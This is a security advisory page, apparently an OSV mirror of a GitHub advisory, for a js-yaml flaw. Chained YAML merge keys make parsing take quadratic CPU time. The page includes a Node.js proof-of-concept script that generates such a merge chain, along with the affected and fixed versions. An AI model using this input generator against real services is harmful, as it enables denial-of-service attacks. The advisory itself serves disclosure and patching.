GHSA-52cp-r559-cp3m

Suggest an improvement
Source
https://github.com/advisories/GHSA-52cp-r559-cp3m
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-52cp-r559-cp3m/GHSA-52cp-r559-cp3m.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-52cp-r559-cp3m
Aliases
Downstream
Related
Published
2026-07-20T21:19:09Z
Modified
2026-07-21T20:59:34.129922017Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
js-yaml: YAML merge-key chains can force quadratic CPU consumption
Details

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Database specific
{
    "nvd_published_at": "2026-07-08T16:16:33Z",
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:19:09Z",
    "cwe_ids": [
        "CWE-400",
        "CWE-407"
    ],
    "severity": "HIGH"
}
References

Affected packages

npm / js-yaml

Package

Affected ranges

Type
SEMVER
Events
Introduced
3.0.0
Fixed
3.15.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-52cp-r559-cp3m/GHSA-52cp-r559-cp3m.json"

npm / js-yaml

Package

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0
Fixed
4.3.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-52cp-r559-cp3m/GHSA-52cp-r559-cp3m.json"